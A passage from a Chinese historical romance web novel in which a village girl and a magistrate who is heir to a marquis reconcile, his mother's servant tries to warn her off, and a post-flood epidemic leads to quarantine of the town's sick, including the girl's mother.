莲花也没回去,她在城里绣坊找了活,去铺子里做了绣娘,因着她手艺好人又有耐心,城中不少富贵人家点名让她上门量体裁衣,挣的荷包鼓鼓囊囊。兴许是因为忙碌起来没空想烦心事,阿雪去看她的时候,瞧她气色不错。 “我打算留下来,已经和爹娘说过了。” 阿雪有点惊讶:“你爹娘让吗?” 当然不让,莲花就差以死相逼,她爹娘才勉强同意,不过这些莲花没说,挑着有趣的事情和阿雪聊了聊,临走时候还送给阿雪一套小衣。 摸起来柔顺光滑,阿雪连忙推拒。“太贵重了我不能要,你留着穿吧。” “你傻啊,我都给你了自己还能不留吗,是库房里被老鼠啃坏的料子,东家嫌破碎不要了,我捡回来洗干净缝了两身,你瞧,是拼接的。” 阿雪定睛一看,果然不是整块布裁剪的。她笑吟吟:“我才不在意呢,你给的就是好东西!” 收到礼物心情自然好,糕点铺子那边不缺人了,阿雪想着还剩下几天,那就在城里逛一逛,还帮官府的人施粥。 灾民走了一批,但还有约莫二十人留下,四个木桶装着熬的浓稠的粥。布粥的官差姓刘,是个年轻的小衙役,在衙署里做的就是杂活。阿雪来的次数多,俩人就相熟起来,那刘衙役每每看见阿雪都红了脸,抢着干重活,只让阿雪帮忙盛粥就好。 这些灾民自然被照顾的很好,甚至谢临安也会抽时间过来看看。比如今日他难得过来,还不等下车,便瞧见门口处站并肩站着一对男女。 穿皂色衣服的衙役不知道说了什么,惹的旁边的小娘子娇笑连连,几个来领粥的百姓也跟着笑,甚至看破了刘衙役的心思,逗俩人道:“你们俩站在一起看着真登对,有句话怎么说来着,哦哦,想起来,叫男才女貌。” 刘衙役臊红了脸,手里的葫芦瓢差点没握住。 阿雪笑的坦坦荡荡:“再乱说可就不给你盛粥了。” 远处,松石撩着车帘的手发酸。他已经举胳膊好一会了,郎君到底是下车还是不下车啊? 难道真的如赵郎君所说,他该成亲然后才能懂他们郎君的心思? 正想着,谢临安跨步下车。他身材颀长,即便不踩矮凳,下车的动作也轻盈流畅。 随意的弹了弹衣袍上的褶皱,大步朝前走。 刘衙役看见谢临安眼睛亮的惊人,顾不上盛粥,赶忙跑过来弯腰谄媚。“大人,属下有失远迎,还望大人恕罪。” 他是去年疏通关系进来的,现在只能干杂活。之前打通关系那人说了,如果能在县令大人面前好好表现,说不定会得到重用。 刘衙役见到谢临安如同见到了祖宗,甚至用自己的袖子去擦凳子,可惜,谢临安没有坐下的意思,只呆了一会就走了。 翌日早上,刘衙役揉着眼睛去领大米时,有个官差告诉他不用他去布粥了。 “真的!是大人让的吗?” 刘衙役喜笑颜开,觉得一定是自己吃苦耐劳的表现打动了谢大人,从此之后他怕是要真正的走上仕途了! “是大人的命令,从今天开始你去守库房。” “啊?” 第66章 第66章 谢临安之前给侯府飞鸽传书,所以才有了赵友成他们原路返回一说。 原本按照计算,侯府的人再快也得一个月才能来,不想才二十几天就到了,而且来的还不是侯府管事,而是大人物,当今侯府的侯爷和夫人。 俩人低调入城,谢临安摆了接风宴席,赵友成他们自然也陪同。以前去侯府多次见过侯爷,虽人到中年但依旧风流儒雅的模样。侯夫人自不必说,年轻时候的美貌也算是名动京城,光看谢临安就知道他父母样貌出众,谢临安挑着双方优点长,怪不得能叫京城那些小娘子们疯狂。 宴席上侯爷谈吐不凡,对这些小辈们也格外关怀,不止关切二房的谢康安,也问询了赵家兄弟。侯夫人温柔善解人意,提醒他莫要吓坏了孩子们。 侯爷哈哈大笑:“都已经弱冠,便是大人。” 侯夫人温柔提醒道:“四郎才十九岁,明年才弱冠呢。” 听见他们提到自己,谢康安表情和善,每每见到大房夫妇,谢康安都会嫉妒谢临安。 如果从侯夫人肚子里爬出来的是他该多好。 宴席结束天色已晚,侯爷夫妇宿在当地最好的客栈里,谢临安将人送到地方后就离开,他的父母并肩走上二楼,在仆从的陪伴下各自进了自己房间。 一个年岁大的老嬷嬷边给侯夫人按捏肩膀,边低声道:“夫人,何时去警告那个小娘子?” 不辞辛苦的来这自然是要事。 起因是谢临安的一封信,一封和家里商议要提亲的信。当得知对方只是普通百姓时,侯夫人立刻将信撕了,言儿被人蒙蔽。 她赶路多日之后,侯爷才策马跟上,不过他是领了皇命探明水灾情况。 “不急,才刚到这,有的是时间劝临安。”侯夫人停顿了一瞬,眉眼之间更加温柔,“看见临安心里高兴,方才差点忘了此事。” 老嬷嬷心里叹气,心想他们夫人在家当女儿时便是个不谙世事的性子,幸好嫁给了侯爷,后宅干净,否则会被莺莺燕燕吃的骨头渣滓都不剩。 “明日我再谈谈临安的口风,看他是如何作想的。” 翌日侯夫人亲自熬了鸡汤给谢临安,母子俩温情叙话,谢临安有不少事情要处理,侯夫人没耽误他太长时间。 出来后,侯夫人叹气道:“他恐怕是铁了心。” 老嬷嬷:“那怎么行?郎君可是世子,将来要承袭爵位的,要迎娶的自然是高门贵女,一个普普通通的小娘子,进门的资格都没有。” 侯夫人态度似乎松动了一些,老嬷嬷就知道她会心软,于是自告奋勇道:“若夫人信的过,这件事交给老奴去办。找到那个娘子话说明白了,想必她会知难而退。” “你是我的陪房嬷嬷,我怎么可能不信任你。”侯夫人犹豫之后,还是点了头,嘱咐道:“她若是主动退出,就给五十两银子。” “是,夫人。” …… 阿雪就要和爹娘返家,打算在城里采办好东西,毕竟镇子被淹,恐怕也买不到什么。 米面等自然是要买的,阿雪想了想,买了两条风干腊肉和十斤肥肉,拿回去熬了肥油装在罐子里,到时候可以炒菜吃。 当猪油熬好之后,满园飘香,留下的人里有两个稚童,阿雪招手让他们过来,将猪油渣给了他们一人一碗,剩下的则是洒了重盐,能存放好久。 “姐姐,给我一口呗。”有个约莫十几岁的少年扒着门,嬉皮笑脸的要东西吃。 阿雪不认识他,就是觉得他这么大了还要东西未免太奇怪,但她也没吝啬,给了一碗。那小少年笑嘻嘻的端着猪油渣跑了,喊着要吃五碗白粥配油渣。 “他是谁啊?”阿雪念叨。 刚走过来的焦红杏只瞧见一个背影,思索片刻想起来了,“好像是个孤儿,没见他有家人。” 阿雪愧疚。 还好给他一碗。 “娘,还需要买什么吗?” 焦红杏不让阿雪再买了,她道:“你给自己添置点胭脂水粉,有喜欢的首饰也买一买,对了,娘给你买了料子,看看喜不喜欢。” 焦红杏买的东西都是他们父女俩的,自己反而什么都没买。阿雪知道她节省的性子,估摸着就是舍不得花钱。 下午时候,阿雪说要出门给自己买东西,实际上去铺子里给焦红杏挑了一盒香膏。出门时候一个老妇人正蹲在地上捡散落的东西,阿雪心善上前帮忙,那老妇人说要请她喝一碗绿豆汤,怎么也推辞不过,俩人就去了附近的摊子上。 小本买卖,只支起个棚子遮阳,底下放了两个小桌子,一条横凳。 俩人面对面坐着,一碗绿豆汤比镇子贵了一文钱,但碗也大了一圈,入口甜津津的凉爽,阿雪笑眼弯弯。“谢谢请我喝绿豆汤。” 她都喝完半碗了,老妇人却是一口没动,只用审视的眼光看她。 “我脸上是有东西吗?”阿雪还伸手摸了摸。 老妇人笑的有点奇怪,将篮子里的东西一样一样往桌子上摆。“这是血燕窝,燕窝你懂吧?女人最好的补品,而血燕则如黄金一样珍贵。” 阿雪看着灰突突的东西,心想原来这就是燕窝,看着真不怎么样。 来人正是老嬷嬷,她又状似不经意的拿出几样东西,展示之后道:“寻常百姓一辈子都吃不起一口的东西,我们郎君如吃家常便饭。” “你们郎君?” “就是大郎。” 阿雪只是性子单纯,她绝对不是傻,立刻知道对方的身份了。“是郎君让你来的?” 老嬷嬷笑而不语,阿雪便认为是谢临安派来的。 接下来,老嬷嬷苦口婆心说了不少话,末了道:“我看你是个心善的娘子,说这些也都是为了你好,别到时候闹的大家都不好看。我们夫人心善,不想为难你,也希望娘子不要得寸进尺。” 原本老嬷嬷是想用点手段叫她好看的,但瞧着这娘子年岁小又善良,便打算先礼后兵,若是她冥顽不灵,有的是法子治她。 直到老嬷嬷离开,阿雪还是懵懵的。 很多事情阿雪没去想,比如谢临安不是四郎,他是侯府的大郎,是侯府世子下一代的继承人。他也不是如她想的那般穷困潦倒,他有用之不尽的财富,是她想破脑子也想不到的奢靡生活。 他们好像是不相配。 阿雪低头走路,踢了一脚路边的石子。 好了好了,她又不是什么狗皮膏药,也有自知之明,当然不会再去烦他了!他叫人来说这些话什么意思? 越想,阿雪越觉得心里不舒坦。傍晚时候谢临安又来巡查,阿雪原本在帮忙施粥,瞧见他之后立刻转身躲了起来。 谢临安耳聪目明,立刻发现,而且不巧的是,有个同乡的年轻郎君追随她而去,谢临安眸色一变。 那边阿雪听见脚步声走的更快,还以为是谢临安追过来,待听见喊她的声音不是谢临安时候,阿雪不知怎么忽地有些惆怅。 “卢娘子,你是去挑水吗?我帮你。” 说话的是同乡的一个年轻郎君,阿雪没记住对方叫什么,只知道姓严,似乎和严夫子是本家,长的也有点像,似乎也在读书,一身的书卷气。 阿雪就是想躲谢临安,便捡了这个现成的借口,“啊,是去挑水,我娘说要洗衣服。” 小严郎君立刻挽袖子:“我帮你。” 阿雪婉拒,对方依旧跟着,来到井旁边,小严郎君叫阿雪让到一旁,他拿着水桶就往井里扔,但不知道怎么回事,水桶浮在上面来回晃悠,就是不装水。 小严郎君一脸的尴尬道:“娘子莫急,这就好了。” 阿雪满腹心事魂不守舍,也不在意水打没打上来。 俩人就站在井边,小严郎君一直读书写字,还真没干过粗活。费了九牛二虎之力,才打了半桶水上来,臊的满脸通红,支支吾吾道:“我会继续帮娘子打水的,保管够用。” “那就劳烦你先送过去了。” 不待阿雪说话,忽然一道声音横插进来,俩人回头,便见到谢临安不知什么时候走了过来。 他出行时惯是便衣,一身青绿圆领衣袍的郎君翩翩风流,温文尔雅,说话声音清冽的如石上清泉,叮咚悦耳。 那小严郎君立刻叫了声大人,阿雪则是哀怨的看他不做声。 她的表情太好懂了,所有心思都写在脸上。 谢临安扬了扬眉梢,这边小严郎君立刻提桶,憨笑着说先去送水,一会再回来。 松石想了想,后退几步守在了来井边的唯一路口放风,暗道自己真是成长了。他竖起耳朵,听着身后的动静。 “你躲我?”这是他们郎君在说话。 “没有。”这是卢娘子硬邦邦的回答。 谢临安嗤笑:“没有你退什么?怎么,我还会吃了你不成?” 她骗他、玩弄他,他都没说什么,始作俑者倒是委屈巴巴的样子。 事发到现在已经不少时日了,谢临安冷静不少,他完全将阿雪当作陌生人,往后他们也毫无干系。 可看见有人向她献殷勤,谢临安就觉得一股火噌的冒出来。 “没什么。”阿雪低着头,一只手抓着衣角,眼睛盯着他的鞋尖看。 也怪她自己认不清,他的黑靴第一眼看过去平平无奇,可日光折返之下,明明带了祥云暗纹,莲花说这都是金贵的手艺,普通人哪里能穿的起带暗纹的衣服和鞋。 可笑她还以为他穷困潦倒,存了心思接济他。 “后日回去?” 松石又听见他们郎君开口。 他记得刚开始时候,他们郎君似乎和卢娘子闹了别扭,具体因为什么不知道,但他们郎君怒而不发,他侍候的时候万分小心,生怕哪里弄不好引得郎君生气。 但现在好像……不生气了? 松石胡思乱想,那边谢临安步步逼近,阿雪看着黑靴往前来,她下意识的后退一步。 年轻郎君英挺的眉眼微蹙。 就在这时,去送水的小严郎君去而复返,还不待走近就喊:“我回来了!” 松石要拦却又没什么好的借口,只能略一阻拦道:“桶就有一个吗?不如再找个桶,两个一起挑更快。” 其实见到谢临安,小严郎君兴奋的不行,他早就听说过县令爷乃是陛下钦点探花郎,敬仰孺慕已久,今日难得的相处机会。 他激动的快步走,“井边就有,哎,这位仁兄莫要拦我啊。” 俩人说着话越走越近,却瞧见井边没有人影。 松石愣住,人呢? 随后就看见附近一处小库房门缝里夹了一小片樱粉色的衣角,啵的一声轻响,衣料被人从里面抽回去。 好似无事发生。 第67章 第67章 破败的窗户透着缝隙,隐隐能看见外面的景象。 阿雪瞪大眼睛,嘴巴上有一只大手捂着,使她发不出半点声音来。夏日时节天气炎热,他的手更是热的惊人,隐隐发炙。 阿雪被烫的好像脸也跟着热起来,从耳根子开始到脖颈,一片粉红。 “别出声。” 俩人看似并肩站着,其实谢临安落在阿雪身后半步远的地方,他身量高大,轻而易举的将人环住,说话时气息拂过她的耳朵,阿雪身子颤了颤。 大掌松开,阿雪深深的呼吸一口气,才将鼻尖处他的气息冲散一些。 外面,小严郎君没离开,在和松石一起用井挑水。俩人俱是不会打水,费了半天功夫才勉强凑了两桶,然后一人一桶拎着走了。 “人走了。”阿雪抬眼道。 她身量其实不矮,但和谢临安说话时得微微仰头,正好谢临安看过来,他侧目,鸦羽似的睫毛轻扫,眉眼清隽的郎君当真叫人过目不忘。 她也是瞎了眼了。 明明谢临安长的俊美如谪仙,她怎么就给认错成谢康安了? 小娘子睁着一双圆眸,定定的看他,俩人视线交接时,狭小的地方似乎变得闷热,空气滞闷起来,像是陷入一罐子蜜糖里面,让阿雪的手脚都不听使唤变得僵硬起来。 原本她想的好好的,说等见到他要认真道歉,但真有独处的机会,阿雪脑子发空,一时竟然说不出话来。 还是谢临安率先开口。 “难道你没什么想同我说的?” 二十五天。 从知道被骗那天起到现在,整整二十五天。 被骗后的难过像是折磨人的大掌,一寸一寸磋他的傲骨。有时候在看见谢康安的时候会恍惚,忍不住想起那段甜蜜的日子。 没认错人的话,她便要和谢康安牵手交吻? 翻涌的怒气像是黑色的浪将人淹没。 没日没夜的处理公事,将所有的空隙都用忙碌填满,确实没时间去想旁的东西。但那都是有意的压制,压的时间久了,会反噬的更厉害。 望着那双能映出他影子的眼眸,曾经日夜折磨他的痛苦好像立刻烟消云散。 只要她道歉。 谢临安缓缓吐出一口浊气,引导她道:“你说,我会听。” 阿雪觉得这里有些热,她便要推门出去,也是不巧,这时候又来了个人。 谢康安。 在谢临安看来,阿雪是因为见到谢康安才想出去的。他按住她的侧腰,将人揽在自己怀里从后面环住,另外一只手去捏着她的下巴,强迫她侧头只看他。 “让他走。”他贴着她的耳朵,低声吐出这几个字。 阿雪觉得耳朵处泛起痒意,忍不住缩了缩脖子。 禁锢她的大掌加了力道,阿雪被迫仰起脖子。 她觉得谢临安好像哪里变了,她不知道温润如玉的郎君切破内里,是天生的强大掌控欲泄出来。 天生的上位者,骨子里的傲气和执着。 年少时候他做太子伴读,因着表现优异,时常得到皇帝的奖赏。一次,藩国使臣进贡当地特产,是一种研磨石散发奇想的砚台。皇帝赏赐谢临安一块,被他拿回家安放好。 后来一天他再回家时,家中的弟弟妹妹们吵着要看,拿出来后却不满足,还想研墨写字试试是否有奇香。 谢临安没有阻止,只淡淡道:“虽说赐下来便是给人用,但这是帝王恩宠,是荣誉之象征。况且御赐的东西被损坏,有掉脑袋的风险。” 几个孩子被吓够呛,说什么也不敢再提了。 就像是此刻,见阿雪不说话谢临安以为她心虚,便搂着人来到门前,前面是门板,身后便是谢临安,阿雪被紧紧夹在中间。 “你想让他看见我们这样吗?” 阿雪脑子嗡的一声。 一股热血涌上头,她彻底红了脸。 似乎很满意她的表现,谢临安松了松力道,这时候外面的谢康安找不到人就离开了。 阿雪松了口气。 谢临安则是眸子黯了黯。 “你先松开我。”阿雪想,他现在到底是什么意思?明明之前找了老妇人来告诫她的。“你弄疼我了。” 谢临安立刻松了手,阿雪长的白嫩,此刻留下一道红痕。 “谢大人,我笨,搞不懂云里雾里的东西,你先让我怎么样直接说吧,猜来猜去怪没意思的。” “谢大人?”谢临安唇角笑容冷了几分。 阿雪还不太懂他怎么变了表情,难道是因为没叫他世子?于是她小声的找补:“谢世子?” 砰的一声,斯文有礼的谢临安踹开了房门,只留给阿雪一个背影。 “到底怎么了……”她嘟囔着,有些搞不懂他。 …… 回程这日大家天不亮就起来收拾,卢大富咬咬牙,买了一只毛驴拉扯,走的慢胜在能帮忙拉东西,还能让她们母女坐在上面,他自己就不坐了,到时候毛驴拉不动。 在城里的时候没什么感觉,因为没留下积水,地面很快就变得干爽,但走出城才知道,雨水果真积的深,越往家的方向走,道路越发的泥泞,在路上还能看见各种裹泥的碗筷鞋子等七零八落的玩意儿。 有时候也会碰见死掉的鸡鸭等家禽,好像被什么东西咬过,腐败的不成样子,蝇子围着转悠,恶心的紧。 卢大富赶忙道:“大家快捂住口鼻赶紧走别停留,小心染上疫病。” 城里井水都投放了药,官府的人还特意给他们几包,告诉他们回家之后把所有喝水的井都放药,免得出现疫病。至于疫病是什么,他们这些人并不知晓,但谨慎总是没错的。 卢大富拿了布围住口鼻,去将死掉的家禽挖坑埋好。 一路上碰到过不少死掉的家畜,甚至还有一头小羊,大家心情越发沉重。 焦红杏最是容易多愁善感,“辛辛苦苦养了许久,没想到被水冲走了。” 路上泥泞赶路不容易,大家累的口干舌燥,中途还得休息找人家借水喝。这天他们找到一处小溪,瞧着水流虽湍急但清澈,似乎可以喝。 “保险起见,我们还是忍一忍,前面有一处庄子,到那肯定有水喝。” 有的口干的厉害,便拿路边的野草嚼一嚼。 焦红杏嘴巴干的开裂,阿雪便也学着人家摘野草,但瞧见上面有泥点子觉得脏,转而去摘了树叶。 “可惜没有果子,娘,你先嚼一嚼试试。” 也不知道是什么树,吃起来有些干涩,随后就是青草香,勉强有点汁水,聊胜于无。 乡亲们陆陆续续的回家,他们这一行里大约十来人,休息时候大家便各自找干净地方坐下,阿雪他们可以坐驴车,周碧玉搭了一角,啃着带的干粮。 有人太渴了,还是去了溪边,但没等喝水便瞧见水里有东西飘过来,那人定睛一看,竟然是一头猪。 肥硕的猪被水冲过来,卡在上游处不动了。 那人好奇的过去,却见猪已经死了,不过身体还未被水泡肿,应当是死了没多久。 “来人啊,这有一头猪!” 众人闻讯而来,都看见那头猪了,有人舔了舔唇,咽口水道:“我看了,好像刚死没多久,没坏呢,不如我们拉过来分着吃了?” 家园要重建,处处都要钱,普通百姓舍不得花钱,这些日子在城里就是喝粥,一点油水都没有。如今美食当前,不少人按捺不住跃跃欲试了。 卢大富拧着眉头不赞同。 “还是莫要动了,如果有病就遭了。而且我们今天晚上就能到家,大家休息一会就准备出发。” 其他人犹豫了片刻,都认为不要冒险的好。 等人都走了,有个人影鬼鬼祟祟的过来,拿着小刀切了一块后腿肉,约莫两斤重,在地上滚了一圈血水凝住,又摘了野草捆好,低头嗅了嗅,保管闻不出味道。 又包了两层干爽的叶子,最后放入布兜子里。 启程之后,有个人问他:“孙小子,你背包怎么湿了?” 阿雪正好走在附近,闻言看过去,原来是那日朝她讨要猪油渣的小少年,她娘说他好像是孤儿,原来姓孙啊。 孙小子赶忙放下后背大大的包裹,摸了摸,“啊,是方才在水边弄湿了。” 他这么说也没有人细问,一行人着急回家赶路。 路途太过泥泞,卢大富祈祷老天爷不要再下雨了,“再过几天晒干了就好了,也方便我们修理房子。” 天黑之后进了镇子,一片慌乱之景。 不少房屋被冲塌,靠近屋顶的地方还隐隐有水痕,地上脏乱的污泥遍地,先回来的百姓默不作声的干活修房。 卢家的房子靠近山脚下最先受到冲击,倒塌下来宛若废墟。焦红杏一双眼睛通红,阿雪也垂着眸子心情不虞。 周碧玉没地方住,暂时借住在卢家,但现在卢家三口也没地方休息,他们只能先清理出一片干净的空地,直接搭建棚子。卢大富粗犷,大可席地而眠,但三个女眷不成,夜里还有蚊虫叮咬,连夜和附近的邻居借了蚊帐挡着,三个人挤在狭小的空间内睡觉。 翌日天刚亮,卢大富就出门了,没一会带回来一大片帐子,让她们裁剪成小的,到时候分开用。 现在各家各户都忙着弄自己的房子,自然没有帮手,幸好卢大富是个力气大的,有一股子使不完的牛力气,白天黑夜的干活,竟然几天就弄好了墙。以前卢家是稻草屋顶,这次索性换成瓦片,贵是贵,防雨防雪还暖和。 阿雪的铺子还算好,大抵是因为这些商铺都是用石头垒的,只外面的墙皮子被水冲,卢大富用了一天时间就给阿雪修好了墙,里面的事情阿雪和周碧玉自己忙活。 桌椅板凳都被泡坏了,阿雪心疼,但也只能买新的。晌午太累了,阿雪就在铺子里做饭,俩人正吃着,屋外有人走过,破布烂衫佝偻着背,时不时的咳一声。 阿雪和她娘亲一样心软,拿过一个馒头走了出去,“哎,留步。” 那人转过身,阿雪吓了一跳。 “是你?” 才几天不见,那个孤儿孙家小子瘦弱不堪,面带病态,一只手捂着嘴低声咳。 “你没事吧?” 阿雪说着递给他馒头,他只低声说了谢谢,拿过馒头就走了。 “奇怪,”阿雪叨咕,“今天街上好几个人都咳嗽。” 周碧玉接话:“大家都没地方住宿在院子里,兴许是晚上着凉了,早上出门时伯母也咳了几声。” 说完,周碧玉打了个喷嚏。 第68章 第68章 焦红杏身体一直不大好,这天下了小雨,卢家的房子还没盖好,卢大富着急去蒙油纸布,焦红杏跟着一起,因此被雨淋了开始咳。 请了赤脚大夫过来,那大夫道:“镇子里不少人都咳,都是被雨淋过,你们多加小心。” 开了药,卢大富熬了一罐子,晾凉之后焦红杏喝了,剩下个碗底,卢大富怕浪费一口喝完,说还能预防。 “等阿雪他们回来给熬点姜汤喝。”焦红杏嘱咐道。 卢大富应声,焦红杏又叹气道:“不知道石头怎么样。” 只知道卢石头在京城,现在怎么样也不知道。焦红杏多愁善感起来,觉得如果卢石头在就好了。 卢大富自然是好声安慰,然后转了话题道:“过几天房子就能住了。” 镇子上的百姓们都在重新修房子,各家商铺门前的板路全是泥泞,都自发的出来收拾。阿雪提了水冲刷路面,将脏污扫到一旁收起来,门前干净让人心情也好。 托木匠做的桌椅板凳也送来了,阿雪和周碧玉忙碌起来,期间看见王翠翠鬼鬼祟祟,周碧玉只当没瞧见。 “估摸着是没钱了想找我接济。”周碧玉不是滥好人,她们之间的情分也消失殆尽,往后就是陌路。 桌椅板凳摆好后,阿雪给木匠结算了工钱,虽有些肉痛,但木匠好心送了两把小椅子,正好烧火的时候用,阿雪又高兴起来。 见木匠咳,她还关心道:“是不是被雨浇了?” 木匠笑呵呵:“那倒是没有,就是最近要桌椅板凳的人太多,天天通宵做工,大概是太累了。” 整个镇子被水淹过,百废待兴,所有人都忙碌,偶有咳嗽,大家觉得就是太累或者被雨浇过又吹了风的缘故。 可事实却并不如表面这般。 “你是说,城里有人开始高热咳嗽?” 自打水灾发生后,谢临安就派人将城中个各处的井水里投了药,还告诫百姓莫要喝河水,也不要吃水里飘着的东西。 但城中百姓这么多,总有人不听话或者贪小便宜,一户人家吃了水里的死鸡,一家子都开始高热,慢慢的以他们为中心,附近邻里都开始高热咳嗽。事情发生后第一时间报到了谢临安这里。 “立刻将所有高热咳嗽的百信隔离起来,莫要让其他人接触免得传染,叫大夫过去查看,切记捂住口鼻不要过多接触,将城里的老大夫叫去,他们有经验。还有,派人去附近发生过水灾的村落看看,是否有相同的病症出现。” 极短的时间内,谢临安已经有条不紊的安排好了事情。“还有,叫城门口的士兵仔细检查,高热者不得进出城。” 可没想到这种病如同风一样,传播的极快,很快不少人倒下,谢临安下令锁城门。 “堂兄不可,”在城门被关后,谢康安匆忙找来,急色道:“秋闱我要下场,现在得往京城赶路了。” 附近村落也有同样病症出现,但因着百姓稀少所有没有城里传播的快,谢临安正在安排相关事宜,没理会谢康安。 谢康安直接冲到了书桌前,破天荒的失了仪态。“堂兄,你说话啊,现在城门关着,你要我怎么办?开门,让我走,我立刻就走,回京城准备考试。” 谢临安嘱咐完最后一句,挥挥手让衙役们离开,然后看向谢康安,眼神冷漠声音也淡淡的。“疫病传播,谁也不敢保证是否染上,所以城门关闭不得进出。” 谢康安反驳:“堂兄,我没病,你瞧我活蹦乱跳怎么可能有病。何况城里只有一小部分百姓出现症状,堂兄你又及时处理,根本没传播开,我身上肯定没有,你就让我回去吧,这次秋闱对我来说至关重要,可谓说关乎到我的后半生!” 谢康安第一次后悔出京。 那时候他本以为是游山玩水长见识,顺便拉近和国公府赵友玉的关系,却不想最后坑害了自己。 谢临安拿过帕子擦手,面上无厌无喜,声音却越发冷淡。 “若是让你贸然出城,身上携带疫病的话沿途不知会感染多少人,最后传到京城感染京城百姓,你觉得陛下会放过你吗?或者,你敢赌吗?” 谢康安通体发寒。 当今皇帝是位明君,铁血手腕杀伐果断。如果京城真的闹起了疫病……侯府会有大灾,自己也逃脱不了被责罚。 事实如此,谢康安也无可奈何,可心里免不了怨恨,他不敢怨恨皇帝,也无法怨恨天灾,就将这笔账算在了谢临安的头上,临走之前眼神带着恨意,在谢临安看过来时,低着头没叫他瞧见。 …… 在世上活着,就有各种各样的难事,阿雪擦了把脸,继续收拾东西,将贴身衣服收拾出来几身,又准备去厨房拿干粮。 “阿雪,你不能进去。” 卢大富堵在门口,面带愁容。“你没病,如果跟着你娘进去,恐怕就染上了!” 镇子里蔓延出了一种病,谁也不知道这种病是怎么来的。 刚开始大家只是咳嗽,后来有人开始高热,手脚四肢上冒出水泡,不挑破会慢慢化脓溃烂,如果挑破溃烂的更快。 已经有人死了,就是阿雪见过的那个孤儿少年。他家里没人,是有味道散出来邻居才发现,死了几天不得而知,只知道身上都是溃烂。 镇子人心惶惶,里正下了命令,将所有发病的人放在一起治疗,同时也不许人进去看。 只要有人咳嗽就会被塞进去,焦红杏咳了多日也开始高热,直接被人带走。卢大富气的要和他们打起来,但无可奈何,所有人都要被关起来治疗。 “关人的地方以前是荒宅,四面透风不说还什么都没有,我娘害怕怎么办。而且我进去能照顾她,早点康复就早点出来。” 阿雪说着还在收拾,卢大富眼睛微红,没告诉她患上这种病康复的可能性很低,现在大夫都没什么办法,只能维持住。说是给城里递了消息,城里会派人来,但据说外面疫病横行,处处都是如此,传播的太快了。 卢大富伸出手按住女儿的肩膀,留下一句:“阿雪听话,你若是出事,你娘活不下去。” “爹……” “听爹话。” 这边镇子出事的事情已经到了衙署,谢临安眉头紧皱,叫来大夫询问近况如何。 “大人,还在调配药。” “之前的药方没有作用吗?” 之前曾发生过这种情况,留下了一剂药方。“时过境迁,有作用但只能维持,无法治愈。” 谢临安捏了捏眉心:“各位受累,尽快研制出方子解救百姓们。” “治病救人我们义不容辞。” 下午时候,谢临安收拾东西准备带大夫出城,谢康安收到消息也要跟上,他想的是,说不定出城之后能找到机会回京城,今年是他下场表现的机会,错过还要再等三年。 赵友成他们觉得无趣,也要跟上,谢临安便请他父母坐镇衙署,他不日便归。 沿途去了各处村落,都比城里严重。谢临安叫大夫留了方子和药,先将病情控制住,待研制出解药再救人。 第二天到了东山县,街道上寥寥无几的百姓,垂头丧气行色匆匆,马蹄踩着落叶踏过,萧瑟景象宛若秋冬时节。 谢临安找来了里正,在得知病患被隔开后赞赏的点头,同时叫带来的大夫过去看看,是否是同一病症。 大夫看过之后说是同样的病症,目前可用药控制住,不叫溃烂的地方蔓延全身,谢临安叫他立刻熬药着手救人。 县令大人来此的消息不胫而走,原本百姓们惶恐不安,他来了之后像是有了定心丸,甚至连被关着的病人也都露出点轻松的表情。 小院子里隔开一间间的房间,喝药的时候大夫们会将药送进院子的桌子上,然后口鼻捂的严实的大夫们立刻逃似的出去落锁,屋里的病人们才走出来喝药。 他们患病之后其实不大能吹风,幸好现在是炎热的夏季,几乎无风。焦红杏迈着虚浮的脚步出来,热烈的日光刺眼,她仰头眯着眼睛,感受日光落在身上,好像手臂上的溃烂都没那么疼了。 有人端着药进屋喝,也有人坐在院子里,但无一例外的沉默,没人说话。 谁都是怕死的。 焦红杏也怕,她一双儿女还都未成家,她……苦涩的药汁混着眼泪喝下,焦红杏刚放下碗,便听大门处传来女儿的动静。 “娘,我来看你了!” 这处荒宅院墙被加固过,高耸的像是要入云,如同一座牢笼。院门钉了一层又一层的木板,只有开锁的小口子,碗口大小。 此刻,一只明亮的眼睛看进来。 “阿雪,你怎么又来了?快走快走!” 焦红杏赶紧用袖子捂住自己的嘴巴说话,阿雪换了角度,焦红杏看见她嘴巴上围着一条面巾,只露出一双漂亮的眼睛。 “娘,我做了包子给你吃,还热乎着,快趁热吃。” 这些天阿雪日日都来陪着焦鸿湘,娘俩隔着院门叙话。也多亏了她天天来,焦红杏才没那么焦虑不安。但她也担心传染给阿雪,所以每次都让她离的远远的。 看着阿雪将包子吊在门上,她自己后退好几步,焦红杏才捂住口鼻走了过去。 “娘,衙署来人了,还来了不少大夫,你放心,朝廷肯定有办法的,他们一定会想出办法救我们。” 阿雪相信谢临安,他一定有办法。 安抚好娘亲后阿雪往家走,现在铺子照旧开,只是卖的少了,但多少能挣点钱。 街道上的行人比之前少了许多,娘又被关起来,强撑着的阿雪眼睛发酸,却哭不出来。 “想哭就哭。” 耳边响起熟悉的声音,阿雪顿住脚步,忽觉眼前一黑。 谢临安一只手揽着人,另外一只手去罩住她的脸。她最近瘦了许多,他一只手便将她脸罩住,几瞬之后,手心里一片温热。 滚落的泪珠流淌,谢临安轻叹,张开手臂将她整个人抱在怀里,像是陷入温暖安心的被子里,阿雪可以随意发泄情绪,哭声渐大,整个人都在颤抖。 她哽咽:“我娘……我娘她病了。” “我知道,”谢临安搂的更紧,阿雪双手环住他的窄腰,伏在他胸膛上。“郎君……” 水灾时候她没哭,母亲被里正带走时她没哭,看望母亲时甚至还能笑出来。 可听见谢临安声音的刹那,数不清的情绪一涌而出。 “交给我。”谢临安一下一下的抚着她后背。 “有我在,别怕。” 第69章 第69章 在卢大富面前,阿雪一直表现的很镇定。本来卢石头离家出走就已经让爹娘伤心了,现在娘又生病,卢大富嘴上不说,实际焦急上火到嗓子变哑,阿雪更得表现的若无其事让他放心。 但在谢临安面前,她坦然的哭了出来。 哭了好一会,阿雪才想到这是在大街上,生怕有人看见说风言风语。 察觉到怀里的小娘子哭声停下,谢临安像是早有预料,低声道:“附近人不多。” 两个行人刚好路过,不过离的远又行色匆匆,完全不会注意到这里。谢临安面不改色的撒谎。 “这里更是一个人影都没有。” 阿雪放心下来,继续哽咽。 也不知道哭了多久,好像一只水壶倒光了水,阿雪的难过随着眼泪溜出去,她松开手,才显出尴尬之色。 “你的衣服被我沾湿了,不好意思。” 他穿着一身玄色衣服,前胸洇湿一片,挥了挥袖子,浑不在意道:“小事。” 阿雪用袖子擦了擦眼泪,眼前出现一只手递过来帕子,阿雪道谢接过,擦干眼泪后问他:“大人,现在有治疗的办法吗?” 谢临安唇角的笑意淡了三分。 